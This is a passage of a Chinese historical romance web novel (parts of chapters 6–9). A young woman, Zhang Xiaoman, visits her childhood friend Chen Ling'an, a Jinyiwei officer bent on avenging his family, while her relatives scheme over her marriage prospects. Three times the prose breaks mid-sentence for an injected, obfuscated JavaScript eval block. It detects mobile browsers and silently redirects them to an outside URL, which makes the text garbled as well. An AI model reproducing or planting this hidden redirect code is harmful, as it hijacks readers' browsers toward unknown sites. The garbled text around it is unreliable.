烛火不知什么时候熄灭了,月光透过窗子,水似地倾泻下来。 有个梳着双丫髻的女娃娃慢慢从中走近,笑容很甜,声音也很甜,就连普普通通的“令安哥”三字,都变得异常悦耳。 胖嘟嘟的小圆脸,逐渐和白日里那张俏丽的脸重叠了。 恍惚中,有人哭着喊了声“哥哥”,随之声音被人潮淹没。 陈令安猛地睁开眼,胸口剧烈地起伏着,就着月光,从书桌的抽屉里摸出一粒丸药吃了,又咳了一阵,方渐渐喘定。 九年了,难道要等仇人老死么? 拳头一点点攥紧,死劲握着,陈令安闭上眼,从齿缝里迸出两个字,“陈、绍!” - 天色大亮,麻雀在枝头叽叽喳喳地唱,给一贯冷清沉寂的张家祠堂添了几分生机。 蒋夫人看着欢畅吃喝的张小满,又好气又好笑,又颇为无奈,“这个时候你还能吃得下去,真是没心没肺。” “天大地大,吃饭最大。”张小满把碗里最后一口粥吃掉,抚着肚皮幸福地眯起眼睛,“我就昨天早上正经吃了点东西,守祠堂的人只肯给我水,越喝越饿,这一晚上饿得我是前胸贴后背,差点去见如来佛祖。幸好母亲想着我。” 蒋夫人一指头戳在她脑门上,“少给我卖乖,你这孩子闯大祸了,别以为搬出陈令安就能吓倒你爹,他在等。” “等?”张小满不明白。 “你爹把惩戒你的消息放出去了,如果你说的话是真的,陈令安必定有所表示,如果你信口胡诌……”蒋夫人叹口气,“可不是跪祠堂这么简单了。” 张小满笑道:“大不了我哪儿来的回哪儿去,只是辜负了母亲一片慈心。” 蒋夫人暗叹一声,这孩子还是想得太简单,外面已把她和陈令安的关系传得沸沸扬扬,各路人马都在观望,身处旋涡中的她,又怎能轻松抽身? “听母亲一句劝,或许陈令安曾经是个好的,可现在,他已经不是你认识的陈令安了。” 张小满听出来她话里有话,“母亲,能和我说说他的事吗?” 蒋夫人又是一声叹息,“说来话长,九年前的事了,那时候先帝还在。陈家是江南有名的世家大族,声望犹在刘家之上。陈令安的父亲陈绶,是备受尊崇的大儒,在前朝任翰林学士,眼见要入阁了,却卷入了科场舞弊案。” “陈绶自尽以证清白,却还是被先帝定成‘畏罪自尽’,陈令安的母亲受不住打击,也跟着上吊死了。他哥哥气不过,去敲登闻鼓鸣冤,在半路和愤怒的学子们发生争执,不知被谁打了,还没等拖到家就咽了气,混乱之中,小妹妹没人看顾,也丢了。” “后来陈家开了祠堂,把陈绶这一支逐出陈家,所有家财归入族中——其实也就剩陈令安一人。他离开前起了毒誓,必要陈阁老和陈家血债血偿。” 张小满已听得怔住了。 眼前慢慢浮现出少年郎那张充满忧思和愤然的双眼。 无处可去?我也是…… 酸楚和苦涩搅得心□□/炸似的疼,她不得不连着深吸几口气,方有稍许缓和。 蒋夫人已经不知道自己叹了多少声了,“一夜之间家破人亡,别说一个十来岁的孩子,就是大人也承受不住。陈家多大的势力,他一个小孩子……人们只当他疯了,谁也没当回事,结果两年前他摇身一变成了锦衣卫,真的杀回来了。” “他心机深沉,阴险冷硬,为了报仇什么都能做得出来,小满,千万不能和他继续来往啊。” 张小满沉默半晌,“母亲,你说的科场舞弊案是怎么一回事?” 蒋夫人一怔,没好气白张小满一眼,“你倒关心这个?” “具体我也说不好,就听你父亲念叨过几句。陈绶是那届会试的主考官,所录取的全是南方士子,这一下子就炸了锅,北方学子联名上疏状告主考官徇私舞弊,又有出身北方的官员当朝弹劾陈绶和一众考官。一来二去,就办成了大案。” “那他父亲到底是不是清白的?”张小满不大明白,“如果的确没过错,陈令安现在也算皇上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901245|176642||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重用的臣子,不能请皇上重新审理吗?” 蒋夫人失笑,“傻孩子,三司会审、先帝御笔亲批的案子,岂能说翻案就翻案?再说当今的皇位……” 她猛地咬住话头。当今原为燕王,压根就不是先帝属意的储君。 当今的皇位,是从侄子手里硬夺来的! 废帝的年号都被当今抹去了,可见当今对那段过往多么讳莫如深。 为表示继位的正统,也为安抚群臣的心,当今处处标榜自己“遵先帝教诲行事”,不可能把此案打成冤案。 这话也就只敢心里想想,没法明说。 蒋夫人转口叹道:“早已盖棺定论,所以陈令安才把所有的愤恨都放在陈阁老身。” 张小满问:“怎么出来个陈阁老,他是谁,今天刘大人也特地提起了他。” 蒋夫人慢慢道:“陈阁老是陈令安的亲二叔,也是……仇人,第一个告发他父亲科场舞弊的人。” 这个信息实在出乎意料,张小满瞪大了眼睛瞧着嫡母。 蒋夫人严肃了面容,“陈令安现在和疯狗一样,凡是和陈家沾边的,逮谁咬谁。平阳侯府、刘家、陈家早就捆在一起,咱家也一只脚踏上陈家的船了,你说他能放过咱们家?昨天对你和颜悦色,心里还不定打什么鬼主意!” “听母亲的话,不管过去如何,眼下你必须和他撇清关系。” 张小满低着头不说话。 “你这孩子……”蒋夫人待要再劝,门外传来方妈妈的声音,“太太,老爷请你过去,刘家太太和公子来了。” 蒋夫人登时激动起来。 如果拒绝亲事,小蒋氏来和她说就够了,顶多加上个秦夫人,根本用不着刘瑾书登门。 刘瑾书出现,说明了什么? 蒋夫人一拍张小满的后背,“傻人有傻福啊!” 张小满被她拍得龇牙咧嘴直喊疼,“母亲,别高兴太早了,万一是来兴师问罪的呢?你没看昨天秦夫人那模样,简直要把我生吞活剥了。” 一句话又让蒋夫人心里犯嘀咕,恨铁不成钢戳张小满脑门一指头,“昨天本来都相中你了,唉!” 张小满把心里话说了出来,“母亲,我不想嫁刘瑾书。” “不嫁他你嫁谁?陈令安?”蒋夫人脸色猛地一变,“想都别想,不可能!” 张小满忙解释,“不不,我是说现在我还不想嫁人。我和令安哥九年没见了,小时候关系再好,也不至于一见面就……就是他乡遇故知的感觉。” 蒋夫人狐疑地打量她一眼,语气缓和了些,“故知?我看是债主!你还小,很多事不明白,千万不要由着性子乱来。母亲都替你打算好了,听话,啊。” 再三叮咛后,蒋夫人离开了祠堂,她没有直接去见刘家人,先回房换身衣服,略喝口茶歇息少顷,方起身前往花厅。 正好撞见张君懿端着茶水站在花厅门口,俨然要进去的架势。 蒋夫人憋了一天一夜的火噌地点燃,当即喝住她,“这里没你站的地儿,下去!” 张君懿咬咬嘴唇,按照姨娘教的话答道:“太太误会了,是父亲吩咐女儿来奉茶的。” 蒋夫人一听就知道她在撒谎,“胡扯,哪有当家夫人未到,先让姑娘露面的道理?你父亲再偏疼你,也不会在刘家面前失了礼数。” “大概你和你姨娘都认为,搅黄了三丫头的婚事,你就能顶上。呵,鼠目寸光,和陈令安有旧,影响的是整个张家,刘家若介意这点,必定不会与张家任何一个姑娘结亲。” “聪明反被聪明误。”蒋夫人瞥一眼脸色煞白的张君懿,悠悠然从她身旁走过。 7. 第 7 章 京城寸土寸金,张文现在虽贵为尚书,早年间却是落魄的寒门子弟,近几年才发达起来。 府邸还是刚成亲时置办的,着实不算大。 花厅小小三间,门外的动静,里面几人听了个七七八八, 张文难免有点尴尬,一面怪女儿不懂事,为着亲事连姑娘家的矜持都不要了,一面又怨蒋氏小题大做,故意让他在外人面前丢脸。 便重重咳了声,提醒外面的人适可而止。 蒋夫人踏着他的咳嗽声走入花厅,多年的夫妻,听声就知道对方怎么想的,刚熄的火苗子又被点燃了。 但刘家人在场,还是要给丈夫脸面的。 蒋夫人把这笔账记在姚氏母女头上,吐出口浊气,含笑与刘家母子打招呼,“昨天让那群锦衣卫闹得乱哄哄的,平白搅了四时宴,好在有惊无险,没叫那群人得逞。” 秦夫人不自然地笑了下,“因我儿之故,让三姑娘受委屈了,我们委实过意不去,特地备了些薄礼,给三姑娘压压惊。” 张家夫妇一时拿不准她的意思,对视一眼,没有说话。 刘瑾书接着说:“也不知道三姑娘喜欢什么,我们就选了几匹杭绸,几篓时令蔬果,还有扇子纸笔,都是些不值钱的东西,刘姨丈就不要客气了。” 若是拒亲,刘家必会送些重礼,方全了张刘两家的体面,如此走亲戚似的礼物,说明这门亲事不无希望。 本是该高兴的事,张文却有点不是滋味,到底不忘为心爱的女儿再争取,“她一个没见识的丫头,没轻没重的净跟着添麻烦。还好她四妹妹机灵,及时带着她母亲过去劝阻,才算没闹出大乱子。” 刘瑾书笑道:“旧友久别重逢,又是救命恩人,一时冲动也在所难免。” 这话听得蒋夫人心里乐开了花,“好孩子,你有心了。”又吩咐方妈妈,“去叫三姑娘过来。” 张文呵呵笑了两声,怎么也想不明白,这个三丫头何德何能,竟能让挑剔的刘瑾书另眼相待。却不好再说别的,便指了个由头先行离开,安慰自己的心肝肉去了。 约莫两刻钟后,张小满到了。 换了身家常衣服,简简单单的单螺髻,素面朝天,连口脂都没抹。 秦夫人皱了下眉头,率性纯真是好,她也不喜欢矫揉造作的女孩子,可张小满这样,多少有点不把刘家当回事。 还当着那么多人的面说记挂陈令安九年了,礼义廉耻都不要,果然和那个周太太说的一样粗鄙无状。 山鸡就是山鸡,当不得大户人家的主母。 按她的意思,散伙得了,奈何那爷俩关在书房嘀嘀咕咕一晚上,一大早居然和她说,暂不回绝,先接触看看。 这是吃多了山珍海味,想换换口味,尝尝清粥小菜? 秦夫人暗叹一声,强打起精神和张小满说些天气冷暖之类不痛不痒的应付话。 蒋夫人佯装没看到,笑吟吟道:“我家园子虽小,那片月季花开得却是最好,我们大人说话你们也不耐烦听,小满,带刘家表哥去逛逛。” 刘瑾书率先起身,张小满见状也只好跟上。 初夏的阳光金灿灿的,一簇簇碗口大的月季在微风中摇曳生姿,粉红黛白灿花纷呈,柳梢枝头黄莺鸣啭,的确如蒋夫人所言,是个赏花的好地方。 两人并肩慢慢走在鹅卵石铺就的小路上,张小满心里装着事,一反往常的活泼,显得格外沉默。 “见到是我,是不是失望了?”刘瑾书突然说。 张小满一怔,“啊?” 刘瑾书微微笑道:“你更希望一大早出现的人是陈令安吧。” “没、没有……”蓦地被他戳破心思,张小满不免讪讪,“他要是来了,我父亲准保坐立不安,人人都说他是个瘟神,生恐和他沾边。” 刘瑾书立刻就听出她对陈令安的回护之意,原在意料之中,可不知怎的,心里不大舒服起来。 他停下脚步,“不来,也未必是不在乎你,昨儿个要不是你在,我和舅父或许已在诏狱里蹲着了。” 昨天变故一出,张小满以为和他的亲事定然不成,结果今天刘家巴巴地上门,非但没指责她,还送礼物给她压惊,着实让她惊讶不已。 她可没自大到人家非他不娶的地步。 张小满不由往深里想了一层,笑笑说,“我们也没那么熟,毕竟九年没见,我记得他,他却把我忘差不多了,昨天就差点没认出我来,我可不敢认领这功劳。” 顿了顿,她又说:“他原本就是个善良宽容的人,那些老夫子骂得那样难听,他都没有动怒,可见传闻都是骗人的。” 刘瑾书脚步一顿,善良宽容? 张小满继续道:“他查问你,其中定有误会,后来你父亲和他说明白了,误会解开,他没有继续为难你不是?” 刘瑾书上下打量眼前的人,她说得极其认真,没有一丝开玩笑的模样,明显打心眼里这样认为的。 刘瑾书怔楞了会儿,忽笑了声,“幸亏我有个好爹,及时出现,及时解开误会。” 张小满附和地笑笑,笑过之后,淡淡的忧伤却从心底漫延上来。 他们都有人疼爱。 刘瑾书自不必说,有殚精竭虑为他打算的父亲,为他能豁出命的母亲。便是她,也有嫡母处处照拂,生恐她受一点委屈。 陈令安什么也没有…… 突然很想见他。 张小满眼睛一亮,他不来,她可以去啊! 一时恨不得插上翅膀飞到陈令安身边,越发显得心不在焉了。 刘瑾书瞧在眼里,觉得无趣极了,正欲找个托词离开,忽然听到柳荫处一阵呜呜咽咽。 那声音,如泣如诉,似断还连,宛转中透着悱恻,伤心处不乏缠绵,竟听得两人怔住了。 张小满喃喃道:“没听说我家养小戏子呀……” 一个窈窕身影从柳荫中显现,“好巧”地撞见他们,粉腮泪痕点点,眉目间笼着朦胧烟雨,让她妍丽的面容少了点攻击性,多了几分娇弱谦顺。 四妹妹?!张小满不相信似地揉揉眼睛。 张君懿这才刚刚发现他们似的,慌张地站定,“心里烦闷,就到园子里逛逛,以为这里没人的……让表哥见笑了。” 自少时成名,刘瑾书身边不乏追求者,这点小伎俩他一眼就看穿。虽瞧不上,但自身的修养不允许他对女子冷嘲热讽,遂颔首一笑。 许是受到这一笑的鼓励,张君懿信心倍增,生怕他不记得自己似的自报家门,“表哥,我是君懿呀,去年我去南翠书院给我哥送东西,你还给我摘李子吃呢!” 两片娇羞的红云飞上脸颊,她的声音柔得像能拧出水,“那是我吃过最好吃的李子。” 张小满只觉怪怪的,看看张君懿,又看看刘瑾书,默默向后退了一步,又退一步。 “好像是有摘李子这回事。”刘瑾书知道自己不能不说话了,“我记得和书院的学生一起摘了许多,都分给附近村子的孩子们了。” 张君懿眼眶逐渐泛红,有点下不来台,只字不提她,倒好似她在撒谎似的,可分明是给了她的。 “时候不早,请恕刘某先行告辞。”刘瑾书无意陷入姐妹争婿的戏码,略一点头,径直离去。 张君懿面上露出不可置信的表情,僵立原地望着刘瑾书远去的背影,目光慢慢落在张小满身上,立时又羞又恼,“少得意,今日看我的笑话,来日你又能比我强多少?” 语气凝噎,她再也说不下去,猛地捂住脸,扭身飞也似跑掉了。 张小满眨眨眼,明白方才的诡异感怎么回事了:那个梨花带雨柔情怯弱的哪里像四妹妹,分明是姚姨娘的姿态! 只可惜刘瑾书和父亲不一样,压根不吃这套。 张小满摇摇头,没把四妹妹搅局的事放在心上,只一门心思琢磨着如何出门找陈令安。 - 晚风打着旋儿从院中吹过,张君懿独自倚坐窗前,眼睛又红又肿,兀自望着深沉的夜色出神。 姚姨娘挑帘进来,看到桌上一筷未动的饭菜,长长叹息一声,“别丧气,往后太太少不了制造他们独处的机会,只要你抓住……” “还嫌我今天不够丢人?”张君懿猛地回过头,“你没瞧见刘瑾书看我的眼神,简直把我当成想爬床的丫鬟,我张君懿还从没叫人看轻到如此地步!” 刚刚止住的眼泪又扑簌簌往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901246|176642||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下掉,张君懿简直羞恼难忍,“都怪你,非教这种我见不得人的把戏,你做妾,难道也要我做妾吗?” 姚姨娘忙道:“不会,不会,你父亲是吏部尚书,刘家门槛再高,也不敢让你当妾。” “你也知道我是张家的姑娘?”张君懿霍然起身,语气悲愤,“我可是张家正经的姑娘,打小请了先生教引嬷嬷精心教养的大家闺秀,我真是昏头了,怎么能听一个姨娘的。” 姚姨娘脸色霎时变得雪白,好一会儿才开口,“是娘连累你了……” 她话音悲婉,张君懿听了,眼中明显露出不忍之色,却仍是倔强地抿紧嘴角,不肯说软话。 姚姨娘深深呼出口气,“没关系,他们成不了,中间还钉着一个陈令安呢。” 张君懿没说话,脸上的表情却老大不以为然。 “她如果放下了陈令安,昨天就不会突然冒出来维护他。”姚姨娘笑了,眼神变得意味深长,“年轻人一冲动,谁知道会做出什么事?你父亲又极力想促成刘家的亲事……” 张君懿茫然看着她。 姚姨娘却不肯再说了,唤丫鬟诗晴进来,“把这些饭菜撤了,让你小厨房重新做几样四姑娘爱吃的。办完不用再回来,拿些酱货酒水,找二门李婆子说说话,三姑娘得刘家看重,让她们用心巴结着。” “你要做什么?”张君懿问。 姚姨娘笑笑,“不做什么,三姑娘水涨船高,那几个婆子以前可没少编排三姑娘,我不过提醒一声罢了。” 外面的风一阵紧似一阵,不多时便噼里啪啦下起雨来,柳枝在空中胡乱舞动着,转眼间柳叶落了一地。 这场雨一下就是一天一夜,待云散雨住,路上的积水彻底退去,已是两日后了。 这天前晌,张小满来到小厨房,问厨娘杨嫂子要些面粉、糖、核桃、鸡蛋和猪油。 杨嫂子带着歉意笑道:“真不凑巧,昨儿太太特意吩咐,多做些芝麻酥,今儿拿着去平阳侯府,姨太太就喜欢咱府里这一口。猪油都用完了,现熬也来不及,不如姑娘先回去,明儿我准能熬好,到时候姑娘再来。” 就是要趁着嫡母不在才好出门。 张小满问还有别的油没有。 “还有豆油。”杨嫂子答道。 张小满扫视一圈,走到灶台上掀开油罐子,“这是什么油?” 杨嫂子忙道:“菜籽油,口感浓重有草腥味,不如豆油清淡,不适合做核桃酥。” “没事,就用它吧!”张小满笑笑,穿上襜衣挽起袖子,和面、加料、成型、上烤炉……动作一气呵成,十分熟练。 杨嫂子殷切赞叹,“闻这香气就知道味道差不了,姑娘真能干,顶得上京城最好的点心师傅了。” “那可不敢比。”张小满笑嘻嘻说,“隔壁林亭先生的娘子做得才叫好呢,我也就学到她一半的功夫。” 隔壁哪有姓林的,说的是宣府乡下吧。杨嫂子背过身,偷偷撇撇嘴。 半个时辰后,张小满提着新鲜出炉的核桃酥出现在二门。 事先得了姚姨娘的授意,看门的婆子不但没拦着,还贴心地问要不要预备马车,“我家二小子在马房当差,用车很是便宜。” 张小满欣然点头。 不多时,张家的马车停在北镇抚司衙门口前。 京城的衙门,大多轩昂气派,威严肃穆,却不乏人气,门前大道并不禁止百姓通行,当然也有商贩在附近摆摊做生意的。 唯有北镇抚司门口,百姓都要绕着走,便是那些官员,若非有要紧公务推辞不掉,否则绝不肯踏足一步。 幽深的巷子,高达两丈的青砖院墙,永远关着的黑洞洞的大门,好似婴儿哭声的鸦啼,再加上盛夏炎日也压不住的阴冷气,即便不信鬼神的人到了这里,也觉满街冤鬼游荡了。 张小满跳下马车,对车夫道:“不用等我,我掌灯前回去,若有人问,就如实说。” 车夫巴不得赶紧走,立马调转车头飞速驶离。 张小满看看四周,“倒是个消夏避暑的好地方呢!” 随即三步两步跑上台阶,抓住门环用力叩响,和小时候一样,欢快地大声喊:“陈令安,开门!” 8. 第 8 章 北镇抚司签押房,吴勇从门后探出个脑袋,想说话又不敢的样子。 陈令安依旧埋在如海的卷宗里,头也没抬,“舌头没用的话就割掉。” 吴勇一激灵,嘿嘿笑着进门,“大人,张三来了。” “谁?”陈令安讶然抬头。 “就是你那小青梅呀!”吴勇竟有点摩拳擦掌的意思,“我去请她进来?” 陈令安问:“还有别人吗?” 吴勇:“没,就她一个,胡同口的暗哨说,张家的马车把她送到就走了。” 陈令安重新垂眸看向案上的卷宗,“不见。” 吴勇愣了,“为啥不见?人小姑娘可是满心欢喜来找你,还带了亲手做的核桃酥。”说着,用手抹去嘴角的残渣。 陈令安没好气说:“用你那核桃仁脑子好好想想,四时宴第二天她见了谁,又是因为谁她才免于张文的惩戒。” 吴勇眨巴眨巴小眼睛,恍然大悟,“哦,她替刘瑾书刺探消息!那是不能见,我这就把她赶走。” “等等,”陈令安又叫住他,“就说我忙于公事不得空,请她过几日再来。还有,不准再称呼她张三。” 这又是为何?吴勇隐约有个猜想,却不敢再问,转身一步三摇头慢慢走远。 结果没多久他又回来了! “额……三姑娘不肯走,要在门口等着。”吴勇小心覷着上峰的脸色,“她问能不能讨杯茶喝,门房不敢擅专,特来请示大人。” 陈令安放下手里的卷宗,“我们北镇抚司,穷得连杯茶都没有吗?” “是是是。”吴勇一溜小跑消失。 一会儿他又在门口探头探脑,“三姑娘问有没有茉莉花茶,属下记得大人这里有……” 陈令安抓起茶罐子扔过去。 吴勇伸手接住,傻笑两声溜了。 刚消停一个时辰,他又一溜小跑回来扒着门框问,“三姑娘茶喝多了,想借用衙门的净房,咱们是借还是不借……” 陈令安手里的卷宗捏着变了形,望着吴勇皮笑肉不笑说:“不然呢?” “明白明白。”吴勇忙不迭点头,擦着满头的汗飞奔而去。 陈令安深吸口气,好容易整理好被打断的思路,待要下笔时,门外蹬蹬蹬一阵急促脚步。 没等吴勇那张大脸露出来,陈令安抓起茶杯狠狠砸向门口,“滚!” “这回真出事了……”吴勇壮着胆子说。 陈令安起身抽刀。 吴勇“噫”的一声抱头鼠窜。 陈令安重重呼出口郁气,重新坐在书案前,却发现自己怎么也无法集中精神了。 庭院灿灿,盛满了初夏的阳光,树叶在阳光下头一蹦一跳泛着绿色的荧光,随着微风,在这楼阁鳞次的京城深处,他竟闻到了几丝麦香。 一两声小孩子的嬉戏声,从遥远的、不知名的地方传来。 怔楞片刻,他气恼地把笔往地上一丢,阴沉着脸踏出签押房。 一路走到大门处的影壁,以往清净的地方变得异常嘈杂,当差的锦衣卫也不办差了,都扒着门缝往外瞅。 居然还有狗在叫! 陈令安重重咳了声。 人们立刻安静,大门外的狗叫声越发清晰,女子的娇斥声也传入陈令安的耳中。 陈令安呆了呆,哗啦,猛然拉开大门。 门开的同时,一块石头呼啸而来,陈令安始料未及,砰的一声,正中脑门! 啪嗒嗒,小石头连翻几滚,停住了。 嘶——,看热闹的锦衣卫同时倒吸口气。 陈令安光洁白皙的额头上,慢慢泛起一片青紫。 他无语到极点可以说麻木的眼睛里,映着张小满目瞪口呆的脸,而此时,扔石头的手甚至还没有放下。 暗中观察的吴勇惋惜地叹气:完鸟,小姑娘性命堪忧哇。 门前台阶上的大黄狗,似是察觉到气氛不对,竟夹起尾巴偷偷逃了。 “对、对不起,我……”张小满努力在尴尬的脸上挤出一丝笑,“我打狗来着。” 陈令安面无表情,“你说我是狗?” “没有!”万想不到他会拐到这个方向,张小满有点语无伦次,“狗一直冲我狂叫,我害怕。” 陈令安望天,“那此刻我是否该闭嘴?” 张小满呆滞一瞬,反应过来他在和自己闹别扭,一时心里又酸又涩,又夹杂着丝丝的甜意,慢声道:“别生气啦,很疼吧,让我看看。” 陈令安偏头避开她伸过来的手,“有事?” 张小满没有气馁,脸上还是笑嘻嘻的,“我等了好几天也不见你找我叙旧,只好自己找上门。” 陈令安仍旧面无表情,“我是恶贯满盈的奸臣贼子,玩弄人心的阴险小人,你就不怕我害你?” 听到这话张小满反而敛了笑,看向陈令安额角上的小坑,“九年前,有坏孩子欺负我,我气急了,抓起石头扔他们,结果砸中了路过的你,还留了疤……那时你只抱怨几句,却没生气,还帮我撑腰教训那些人。你看你今天也没有发火,你才不是坏人,和从前一样宽和。” 陈令安轻轻哼了声。 “不请我进去吗?”张小满扬起笑脸。 陈令安站着没动,“这里是北镇抚司衙门,迈过这道门槛的人不是官差就是要犯,你确定你要进来?” “那还是算了。”张小满悄悄缩回伸出的脚,把点心匣子捧到他面前,“核桃酥,我做的,比不上林姨的手艺,但也不错。” 盖子打开,里面是寥寥无几的碎块,再勉强都拼不出一个完整的。 卷着残叶的风从长街吹过,吹不散小满脸上的尴尬,“呃……我晌午就没吃东西,一直等到现在……” 陈令安盯着她的脸,忽然失笑,接过她手里的匣子,“我派人送你。” 张小满习惯性说了声“不用”,稍后反应过来又笑了,“还是要送的,我不认得路。” 来京城之后,她总共也没出几趟门,连张家附近的街巷都认不全。 陈令安吩咐两个锦衣卫护送她回去。 金乌西坠,马蹄声声,张小满从车窗探出几乎半个身子,笑容绚烂,大力地挥手。 陈令安看着她逐渐远去,消失在拐角。回过身,却看到吴勇带着一脸憨憨的笑,正在冲着巷口舞动双臂。 陈令安摸了摸额头上的青紫,“今日谁当值?” 吴勇不明就里,“我啊,廖凯告假,这个月都是我负责北镇抚司的警备。” 陈令安扯扯嘴角, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901247|176642||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “拿扫帚,你亲自看守这条路,门前一个闲物不能过,地上一片树叶不能有。” 吴勇的笑脸瞬间成了苦瓜脸。 回到签押房,陈令安把匣子放在案头,慢慢地,慢慢地,拈起一块核桃酥。 微甜、酥脆,舌尖瞬间感受到碎块爆成颗粒,颗粒又迅速融化,浓郁的核桃清香立刻充盈了唇齿间每一个角落。 他怔住了。 砰砰,砰砰,有人在敲他的窗子,他推开窗,大片大片的阳光霎时倾泻在他身上。 “令安哥,”张小满捧着圆乎乎的小脑袋趴在窗台上,瞅着他直乐,“核桃酥做好啦,林姨叫我给你送来。” 他说:“先放一边,我做完功课再吃。” 张小满进了门,把碟子放在书案一角,又探身歪着脑袋看他抄了半截的字,“复仇者不折镆干,虽有忮心,不怨飘瓦……什么意思啊?” 这是《庄子·达生》里的一句话,意思是说,复仇的人不会折断曾伤害他的宝剑,即使嫉恨心再强的人也不会怨恨偶然坠落伤害到他的瓦片。 林亭先生今日特意给他讲了的,他却沉默着,没有回答。 窗扇在风中颤抖着,发出“咔咔”的轻响,院子里传来吴勇的声音,“什么鬼天气,刚晴没两天,又要下雨……” 陈令安猛地睁开眼。 一阵疾风吹过,满桌的纸张哗哗乱响,如蝴蝶一样满室飞舞。 他盯着桌上的点心匣子,忽抓起盖子,砰的扣上了。 凉飕飕的风带着雨腥,将北镇抚司的马车送到张家门前。 看见赶车的是两个锦衣卫,门房吓得要跪了,看到三姑娘跳下马车时,眼珠子差点掉出来,待看到锦衣卫客气且恭敬地与三姑娘道别时,他心里已是掀起惊天巨浪了。 很快,消息传到了姚姨娘的院子。 “老爷,这可如何是好。”她忧心忡忡与张文道,“瞒着老爷太太私自与外男见面,若是传出去,‘不检点’三字足以毁掉整个张家的清誉。” 张文的脸黢黑,但没她预想的那般勃然大怒,眉头紧锁,看得出在思索着什么。 姚姨娘开始不确定了,小心地添柴,“前几天刘家带着十足的诚意刚来,扭脸她就找别的男人,这简直是在打刘家的脸。就算刘公子肚量大不怪罪,可秦夫人是个难缠的,刘大人也不见得能咽下这口气……” 张文终于被触动了,起身唤禀报消息的人进来,却是又问了一遍那两个锦衣卫的反应,什么样的动作,说的每一个字,包括脸上什么表情,事无巨细! 那婆子压根没见,亦不敢叫门房来答话——生恐老爷责怪她连个话都传不明白,只得依着报信的话,加以自己的想象,将倒了两三手的消息夸张地描述出来。 张文盛怒的面孔竟然出现平息的迹象。 姚姨娘暗道不好,她怎的忘了,老爷的确想借刘家挤进陈阁老的圈子,可他绝对不会与锦衣卫明面为敌! 算计来算计去,怎么也没算计到冷硬心肠的陈令安会对张小满另眼相待。张家明明放出罚跪祠堂的消息,等了好几天也没等到陈令安的反应,还以为他根本不在乎。 今天这个套,算是落空了。 她轻轻叹息一声,这个村姑,比想象的更为棘手。 9. 第 9 章 张文没计较张小满私自外出的事情,蒋夫人却不肯轻易饶过她,细细审了半日,始终不敢相信,“你砸了他的头,他当真没记恨你?” 张小满再三保证,“真的没有,他还和我开玩笑呢!” 想到那两个锦衣卫护送她回来时的态度,蒋夫人总算没再往下问,可还是一副忧心忡忡的样子。 小满疑惑地看着她。 “被陈令安这样的人看重,是祸不是福啊。”蒋夫人又有点恨铁不成钢地戳戳她的脑门,“人家刘瑾书刚来看望你,结果你扭脸就去找陈令安,生怕这门亲事成了似的。” 趁嫡母还没展开长篇训导,小满赶紧转移话题,“母亲,端午节在即,五妹妹就要回家了,听说她喜欢书画,我想上街逛逛给她寻摸点好东西。第一回见面,总不好空着手。” 蒋夫人虎着脸说:“家里什么都有,她不缺你那点东西,再说你手里才几个钱,都把钱省着寄回宣府了,以为我不知道?实在要送,从我库里拿,你给我老实在家呆着,不准再找陈令安!” 小满轻轻摇着嫡母的袖子,“我知道母亲心疼我,可不患寡而患不均,纵然五妹妹和她姨娘此时不在意,若有人在旁煽风点火说些有的没的,时间长了,难免生出事端。” 没娘的孩子难啊,不过拿几件东西也要思前想后的。蒋夫人心里头一阵发酸,又觉得宽慰,“你这孩子……” 看蒋夫人眼中竟有了泪光,小满急忙插科打诨,哄得蒋夫人笑也不是气也不是,把那股子忧伤彻底冲散了。 却是不敢再提出门的事。 小满走了,正院又变得寂静。 “这孩子,像谁啊。”蒋夫人扶额叹道,“她姨娘沉静寡言,老爷严肃古板,也不知怎么生出这个跳脱的丫头。” 方妈妈用手背试试茶杯的温度,然后双手递过去,“我看像夫人。” 蒋夫人讶然,“这话怎么说的?” 方妈妈笑道:“夫人还做姑娘的时候,也是这般的活泼伶俐,一刻也闲不住,成日价不是骑马踏青,就是泛舟湖上,划船划得比船娘还好。” 闺阁往事总是令人怀念的,蒋夫人不无感慨,“那个时候真快活啊,我娘却愁得不得了,生怕我嫁不出去,非拘着我学女红磨性子,连我爹说情也不管用,可把我憋坏了。” 方妈妈接过话头,“我记得后来夫人是在耐不住,让丫鬟扮成你在屋子里装睡,我把风,你偷溜出门……” 她突然止住了,露出几分忐忑。 蒋夫人的笑容变淡,慢慢消失了。 就是那次,她遇到了张文。 桥头一见,惊为天人,寒门又如何,落榜的举子又如何,爹娘反对又如何,她铁了心,非他不嫁。 婚后也有过蜜里调油的日子,她收敛心性,学着洗手作羹汤,他心无旁骛用功苦读,发誓必要出人头地,绝不叫人小瞧了去。 